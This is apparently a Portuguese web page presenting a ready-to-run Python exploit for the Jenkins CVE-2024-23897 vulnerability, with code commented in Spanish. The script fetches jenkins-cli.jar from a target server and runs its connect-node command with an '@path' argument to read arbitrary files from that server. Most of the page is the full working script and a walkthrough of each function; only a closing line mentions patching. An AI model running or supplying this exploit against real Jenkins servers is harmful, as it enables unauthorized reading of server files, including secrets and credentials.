
exploit que explora Jenkins feito em Python

parâmetros ip , puerto , ruta

saída do exploit

Painel de ajuda
Aqui está a explicação do código em Markdown:
Este script foi projetado para explorar uma vulnerabilidade específica no Jenkins (CVE-2024-23897). Ele permite baixar um arquivo JAR de um servidor Jenkins e executar um payload para conectar um nó Jenkins. A seguir, explicamos cada parte do código:
import argparse
import requests
import os
import subprocess
import sys
argparse: Para lidar com argumentos de linha de comando.requests: Para fazer solicitações HTTP.os: Para interagir com o sistema operacional.subprocess: Para executar comandos do sistema.sys: Para interagir com o interpretador Python.bannerdef banner():
"""
Imprime un banner decorativo para la herramienta.
"""
text = """
______ _______ ____ ___ ____ _ _ ____ _____ ___ ___ _____ _ _ _
/ ___\ \ / / ____| |___ \ / _ \___ \| || | |___ \|___ / ( _ )/ _ \___ | | | ___ _ __ | | _(_)_ __ ___
| | \ \ / /| _| _____ __) | | | |__) | || |_ _____ __) | |_ \ / _ \ (_) | / / _ | |/ _ \ '_ \| |/ / | '_ \/ __|
| |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ __/ ___) | (_) \__, |/ / | |_| | __/ | | | <| | | | \__|
\____| \_/ |_____| |_____|\___/_____| |_| |_____|____/ \___/ /_//_/ \___/ \___|_| |_|_|\_\_|_| |_|___/
"""
print(text)
Esta função imprime um banner decorativo no início do script.
descargar_jardef descargar_jar(ip, puerto):
"""
Descarga el archivo jenkins-cli.jar desde el servidor Jenkins especificado.
Args:
ip (str): Dirección IP del servidor Jenkins.
puerto (str): Puerto del servidor Jenkins.
Returns:
bool: True si la descarga fue exitosa, False en caso contrario.
"""
url = f"http://{ip}:{puerto}/jnlpJars/jenkins-cli.jar"
try:
response = requests.get(url)
if response.status_code == 200:
with open('jenkins-cli.jar', 'wb') as archivo_jar:
archivo_jar.write(response.content)
return True
else:
print(f"\n[-] No se pudo descargar el archivo. Código de estado: {response.status_code}")
return False
except requests.RequestException as errorhttp:
print(f"\n[-] Error al realizar la solicitud: {errorhttp}")
return False
Esta função baixa o arquivo jenkins-cli.jar do servidor Jenkins especificado pelo endereço IP e porta. Se o download for bem-sucedido, salva o arquivo no sistema e retorna True; caso contrário, retorna False.
attack_payloaddef attack_payload(ip, puerto, ruta):
"""
Ejecuta el payload para conectar un nodo Jenkins.
Args:
ip (str): Dirección IP del servidor Jenkins.
puerto (str): Puerto del servidor Jenkins.
ruta (str): Ruta para leer el archivo.
"""
archivo_jar = "jenkins-cli.jar"
payload = f"java -jar {archivo_jar} -s http://{ip}:{puerto}/ -http connect-node @{ruta}"
try:
subprocess.run(payload, shell=True, check=True)
os.remove(archivo_jar)
except subprocess.CalledProcessError as error_payload:
print(f"\n[-] Error al intentar conectar el nodo: {error_payload}\n")
Esta função executa um comando para conectar um nó Jenkins usando o arquivo jenkins-cli.jar. Após executar o comando, remove o arquivo JAR. Se houver um erro na execução, exibe uma mensagem de erro.
maindef main():
"""
Función principal que analiza los argumentos y ejecuta las funciones correspondientes.
"""
parser = argparse.ArgumentParser(description="\n[+] Exploit para explotar el CVE-2024-23897\n")
parser.add_argument("ip", type=str, help="\n[+] Dirección IP del servidor Jenkins\n")
parser.add_argument("puerto", type=str, help="\n[+] Puerto del servidor de Jenkins\n")
parser.add_argument("ruta", type=str, help="\n[+] Ruta para leer el archivo\n")
args = parser.parse_args()
ip = args.ip
puerto = args.puerto
ruta = args.ruta
banner()
if descargar_jar(ip, puerto):
attack_payload(ip, puerto, ruta)
else:
sys.exit(1)
A função principal do script:
ip, puerto, ruta).banner para imprimir o banner.descargar_jar para baixar o arquivo JAR.attack_payload para executar o payload; caso contrário, finaliza o script com um código de saída 1.if __name__ == '__main__':
main()
Este bloco garante que a função main seja executada apenas se o script for executado diretamente, não se for importado como módulo.
Este script é uma ferramenta para explorar uma vulnerabilidade no Jenkins. Ele baixa um arquivo JAR de um servidor Jenkins e usa esse arquivo para executar um payload que conecta um nó Jenkins. Os argumentos necessários (ip, puerto, ruta) são fornecidos por meio da linha de comando.
Aqui está uma lista das bibliotecas necessárias junto com os comandos pip install para cada uma:
argparse: Esta biblioteca está incluída na biblioteca padrão do Python, portanto não é necessário instalá-la.
requests: Para fazer solicitações HTTP.
pip install requests
os: Esta biblioteca está incluída na biblioteca padrão do Python, portanto não é necessário instalá-la.
subprocess: Esta biblioteca está incluída na biblioteca padrão do Python, portanto não é necessário instalá-la.
sys: Esta biblioteca está incluída na biblioteca padrão do Python, portanto não é necessário instalá-la.
pip install requests
@/ruta/del/archivo.@/ruta/del/archivo e substitui esse argumento pelo conteúdo do arquivo especificado.Atualizar e configurar adequadamente o Jenkins é crucial para proteger o sistema contra essa vulnerabilidade.
